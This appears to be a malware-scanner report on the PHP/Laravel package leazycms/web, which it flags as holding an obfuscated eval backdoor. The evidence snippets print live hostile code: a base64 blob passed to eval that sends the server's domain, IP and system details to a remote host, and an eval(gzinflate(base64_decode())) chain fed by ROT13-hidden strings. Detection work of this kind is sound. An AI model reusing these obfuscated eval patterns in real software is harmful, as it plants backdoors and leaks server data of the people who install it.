Hostile ^92% php 63 installs Download

leazycms/web v1.0.33

obfuscated eval backdoor in installer

“Build Easy Cms Laravel”

PHP decoder eval webshellUser input used as function (GET/POST/REQUEST)

SHA-2564f08ba428517030b193b84a35b5afc643006e6742615de3f286eb398710f300d

URLhttps://api.github.com/repos/iamudin/leazycms/zipball/8eb0da8a9f367fcb863286b07145576a7b3f4d41

MaleculeK(Li₆)O₂(C₂As₃)H₉(Cm₂₈Cr₃Db₂₃F₁₀HfOs₉Po₂TiU₈)Md₂

Evidence

Extends Laravel Console\Command RegisterCloudCommand.php · lines 1–16

1<?php
2
3namespace Leazycms\Web\Commands;
4
5use Illuminate\Console\Command;
6use Illuminate\Support\Facades\Http;
7
8class RegisterCloudCommand extends Command
9{
10    protected $signature = 'cms:reload';
11    protected $description = 'Mendaftarkan CMS ke Cloud Template Host untuk mendapatkan API Key';
12
13    public function handle()
14    {
15        $this->line('');
16        $this->line('=============================================================== …

Evaluates base64 or ROT13 decoder output RegisterCloudCommand.php · lines 23–32

5…     $this->info("Menghubungi Cloud Template Host ($cloudHost) ...");
24
      try {
          eval (base64_decode('JHJlc3BvbnNlID0gXElsbHVtaW5hdGVcU3VwcG9ydFxGYWNhZGVzXEh0dHA6OndpdGhvdXRWZXJpZnlpbmcoKS0+d2l0aFVzZXJBZ2VudCgiTGVhenlDTVMtSW5zdGFsbGVyLzEuMCAoUEhQICIgLiBQSFBfVkVSU0lPTiAuICI7ICIgLiBQSFBfT1MgLiAiKSIpLT53aXRoSGVhZGVycyhbIkFjY2VwdCIgPT4gImFwcGxpY2F0aW9uL2pzb24iLCAiWC1SZXF1ZXN0ZWQtV2l0aCIgPT4gIlhNTEh0dHBSZXF1ZXN0Il0pLT50aW1lb3V0KDMwKS0+cG9zdChydHJpbSgkY2xvdWRIb3N0LCAiLyIpIC4gIi9hcGkvcmVnaXN0ZXItY2xpZW50IiwgWyJkb21haW4iID0+ICRkb21haW4sICJzZXJ2ZXJfaXAiID0+IGdldGhvc3RieW5hbWUoZ2V0aG9zdG5hbWUoKSksICJwaHBfdmVyc2lvbiIgPT4gUEhQX1ZFUlNJT04sICJvcyIgPT4gUEhQX09TXSk7'));
27
          if ($response->successful() && $response->json('api_key')) {
              $apiKey = $response->json('api_key');
              $this->info('✅ Berhasil direload.');
31
     …

PHP contains a high-entropy content region RegisterCloudCommand.php · lines 34–38

18… e {
              $this->error('❌ Gagal mendapatkan API Key dari Cloud Template Host.');
              $this->line('Respons Server: ' . $response->body());
          }
      } catch (\Ex …

eval decoder execution chain PanelController.php · lines 1499–1502

30… s\Web\Support\Facades\Internal\System\RuntimeConfigOptimizer::get();
1500
      try {
          eval(gzinflate(base64_decode('dVFRa8IwEH7frwjBhxSsdexNUZCxUUGnWKaCFcnaW81Ikyy5brhfv7SKjKn3ktzdd999d9ey4IxWDsiApGMpq1IojpAmlTHaYvrMM56DS2NE0+t9C9zrCpdgxftBqIIFd+SfhcMa9OrAjgpQyOgE+M/hcZqEY+WQSwk2uu90CZvHc0JJh …

Dense str_rot13 calls RuntimeConfigOptimizer.php · lines 7–20

97… , 88, 47, 23, 48, 67, 4, 46, 7, 87, 91, 84]; }
  private static function _54214502() { return str_rot13('YgPzfXrl2026!'); }
  private static function _92795a59() { return str_rot13('lltcXFv20gsCFH2fdxmBYqLeG03Fl0jONN=='); }
10
  public static function get()
  {
      $d = @gzinflate(base64_decode(self::_92795a59()));
      if ($d) {
          return $d;
⋯5 lines

Showing the top 5 files — 7 more files (291 regions) not shown.

No evidence locations were recorded for this file. Raw result